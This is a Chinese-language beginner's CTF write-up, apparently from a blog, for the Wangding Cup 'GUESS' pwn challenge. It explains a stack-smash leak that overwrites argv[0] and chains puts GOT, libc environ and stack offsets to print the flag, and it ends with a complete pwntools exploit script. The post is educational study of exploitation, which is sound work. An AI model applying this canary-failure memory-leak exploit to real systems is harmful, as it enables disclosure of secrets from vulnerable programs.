网鼎杯GUESS-萌新分析

0x00 前言

学一下往年的网鼎杯,,,,,好让自己心里有点数

确实,我好菜。

0x10 信息收集

通过ida打开。可以发现有flag.txt字样,,又发现让猜,,,嗯,,是stack smash,别的大佬说的,,我今天才学这个知识点。

0x 20 分析

0x 21 关键源码分析

分析stack smash的源码,可以看到,如果我们破坏了canary,然后系统就会调用这个函数进行一些输出,即stack smashing detected然后继续输出__libc_argv[0]指向的内容,所以我们便需要把我们想要输出的内容给想办法给搞到这个地方。

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

0x 22大致步骤

这个题需要三个步骤:

  1. 泄露一个函数的真实地址,然后据此来找到libc
  2. 根据libc来泄露出environ,即栈的地址
  3. 根据environ来泄漏flag的地址

0x 30 详细步骤

0x31 确定真实地址

我们首先需要先找到argv[0]的地址,然后我们才方便将我们想要打印的东西给设定到那个地方。

在这里 我们可以采用两种方法:

  • 在main处下断点,然后停下的地方指向文件名的就是地址
  • 直接p & __libc_argv[0]

查看gets输入的字符串的位置,

可以看到是rsp-0x40的地方。

我们在gets处下断点,然后查看当时的rsp的地址

将指向argv[0]处的地址与改地址相减得到这个padding的大小,接下来就是将puts 的got表发送到这个地方然后通过stack smash进行真正的地址的打印。

在这里有一点需要指出的是:原本我们是可以打印argv[0]指向的内容,即文件名,现在我们改成了puts 的got'表就会将puts 的真实地址进行打印,然后我们便可以通过这个真实地址来找到对应的libc版本。

0x32 泄露栈的地址

这个很简单,只需要使用 如下所示的方式就可以知道栈的地址。

0x 33 找到flag与栈的偏移

找到flag在栈上的地址。

我们可以现在本地建一个flag的txt文档,然后再gdb中使用n命令,知道下面出现flag字样,然后将其与environ做减法就可以得到它在栈上的偏移。

0x40 exp如下

from pwn import *
context.log_level = 'debug'

puts_got = 0x602020
p = process('./GUESS')

#leak libc
p.recvuntil('guessing flag\n')
payload = 'a'*0x128 + p64(puts_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('puts addr : 0x%x' %puts_addr)
#gdb.attach(p)
offset_puts = 0x000000000006f690
libc_base = puts_addr - offset_puts
log.success('libc base addr : 0x%x' %libc_base)

offset__environ = 0x00000000003c6f38
_environ_addr = libc_base + offset__environ
log.success('_environ addr : 0x%x' %_environ_addr)

#leak stack
p.recvuntil('guessing flag\n')
payload = 'a'*0x128 + p64(_environ_addr)
p.sendline(payload)
p.recvuntil('detected ***: ')
stack_base = u64(p.recv(6).ljust(8,'\x00')) - 0x198
log.success('stack base addr : 0x%x' %stack_base)
flag_addr = stack_base + 0x30

#leak flag
p.recvuntil('guessing flag\n')
payload = 'a'*0x128 + p64(flag_addr)
p.sendline(payload)
p.recvuntil('detected ***: ')
flag = p.recvuntil('}')
print flag

p.interactive()

exp来源于github....用来学习了。。我已经尽量写得能够让各位看懂了,,我能够理解了。。前面有的步骤是参考的https://blog.csdn.net/qq_38783875/article/details/82594526?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1 他的本地环境和我的不一样,,,搞得我图片也不好做。。。可以对比着学习。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值